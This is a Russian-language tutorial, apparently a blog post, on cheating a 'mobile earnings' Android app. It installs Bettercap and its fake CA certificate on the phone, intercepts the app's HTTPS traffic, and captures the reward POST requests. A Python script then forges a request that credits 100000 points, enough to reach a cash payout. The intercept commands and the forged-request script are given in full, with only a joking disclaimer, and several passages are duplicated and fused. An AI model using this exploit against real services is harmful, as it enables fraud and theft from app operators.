*Здесь могло быть предупреждение о том, что не нужно пользоваться данным методом в целях совершения преступления, но вы же умные ребята, верно?*
Don't try this at home, kids.
Сегодня я хотел бы показать на примере, как халатно относятся разработчики приложений для "мобильного заработка" (заработка разработчиков, естественно) к безопасности своих программ.
Инструменты:
Устанавливаем приложение.
Поддельный сертефикат.
Don't try this at home, kids.
Сегодня я хотел бы показать на примере, как халатно относятся разработчики приложений для "мобильного заработка" (заработка разработчиков, естественно) к безопасности своих программ.
Инструменты:
- Bettercap
На Kali Linux:
sudo apt-get install build-essential ruby-dev libpcap-dev
sudo apt-get install bettercap
На других Linux-системах:
git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem - VM либо телефон на android с play market
Устанавливаем приложение.
Достаточно набрать в поиске гугл плей что-то вроде "Мобильный заработок" или "Накрутка лайков вк" и т.д.
Я выбрал с картинкой посмешнее и названием поглупее.
Я выбрал с картинкой посмешнее и названием поглупее.
Поддельный сертефикат.
Большинство приложений сегодня используют https соеденение. Что бы мы могли расшифровать трафик, будем использовать поддельный сертефикат. Таковой уже имеется в Bettercap в директории /sudo/.bettercap/bettercap-ca.pem . Его нужно установить на телефон (настройки > безопасность > сертефикаты).
Начинаем снифать трафик.
В консоли компьютера пишем:
sudo bettercap -T 192.168.0.100 --proxy-https --sniffer
Где
-T - ip телефона
--proxy-https - использовать прокси с поддельным https сертефикатом для расшифровки траффика
--sniffer - запустить сниффер пакетов.
Исследуем трафик приложения.sudo bettercap -T 192.168.0.100 --proxy-https --sniffer
Где
-T - ip телефона
--proxy-https - использовать прокси с поддельным https сертефикатом для расшифровки траффика
--sniffer - запустить сниффер пакетов.
Теперь, когда трафик отслеживается, поклацаем по разным кнопкам и попробуем выполнить задание.
Я нашёл для себя интересными два запроса:
получил бонус
[192.168.0.100] POST %ссылка% ( text/html ) [200]
[REQUEST HEADERS]
'User-Agent' : %user_agent%
'Content-Type : application/x-www-form-urlencoded'
'Content-Length : 44'
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity
[REQUEST BODY]
userid : %user_id%
points : 100
type : Daily_Reward_v2
Выполнил задание
[192.168.0.100] POST %ссылка% ( text/html ) [200]
[REQUEST HEADERS]
User-Agent : %user_agent%
Content-Type : application/x-www-form-urlencoded
Content-Length : 40
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity
[REQUEST BODY]
username : %user_name%
points : 50
type : Vungle_Video
Создаём кастомный запрос.Я нашёл для себя интересными два запроса:
получил бонус
[192.168.0.100] POST %ссылка% ( text/html ) [200]
[REQUEST HEADERS]
'User-Agent' : %user_agent%
'Content-Type : application/x-www-form-urlencoded'
'Content-Length : 44'
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity
[REQUEST BODY]
userid : %user_id%
points : 100
type : Daily_Reward_v2
Выполнил задание
[192.168.0.100] POST %ссылка% ( text/html ) [200]
[REQUEST HEADERS]
User-Agent : %user_agent%
Content-Type : application/x-www-form-urlencoded
Content-Length : 40
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity
[REQUEST BODY]
username : %user_name%
points : 50
type : Vungle_Video
Поэксперементировав с данными из полученых запросов, пишем скрипт для отправки кастомного запроса:
import requests
link = '%ссылка%'
headers = {'User-Agent' : %user_agent%,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length' : '44',
'Host' : 'url.bitcoin-miner.ru',
'Connection' : 'close',
'Accept-Encoding' : 'identity'}
payload = {'userid' : %user_id%,
'points' : 100000, # да да, можно поставить столько монет, сколько захочешь
'type' : 'Vungle_Video'}
r = requests.post(link, headers=headers, data=payload) # можно запихнуть в цикл, если бы сервис не разрешал менять колличество получаемых очков за раз.
print(r.text)
Запрос выполнился с ответом
{"result":"true","msg":"Points Updated"}
Очки начислены мне на аккаунт, это, кстати говоря, минимальная сумма выплаты (8$)
Итог.import requests
link = '%ссылка%'
headers = {'User-Agent' : %user_agent%,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length' : '44',
'Host' : 'url.bitcoin-miner.ru',
'Connection' : 'close',
'Accept-Encoding' : 'identity'}
payload = {'userid' : %user_id%,
'points' : 100000, # да да, можно поставить столько монет, сколько захочешь
'type' : 'Vungle_Video'}
r = requests.post(link, headers=headers, data=payload) # можно запихнуть в цикл, если бы сервис не разрешал менять колличество получаемых очков за раз.
print(r.text)
Запрос выполнился с ответом
{"result":"true","msg":"Points Updated"}
Очки начислены мне на аккаунт, это, кстати говоря, минимальная сумма выплаты (8$)
Гугл плей забит подобными приложениями, разработчики которых зарабатывают на желании быстрой наживы у неокрепших умов. Чаще всего, правда, создатели совсем не заботятся о безопасности своего детища. В этом случае мне пришлось поэксперементировать с запросами, но что-то мне подсказывает, что во многих подобных приложениях можно просто циклично переотправить один запрос, выдающий монетки за выполненное задание.
P.S: воровство - это плохо, но исследование трафика и накрутку лайков никто не запрещал
P.S: воровство - это плохо, но исследование трафика и накрутку лайков никто не запрещал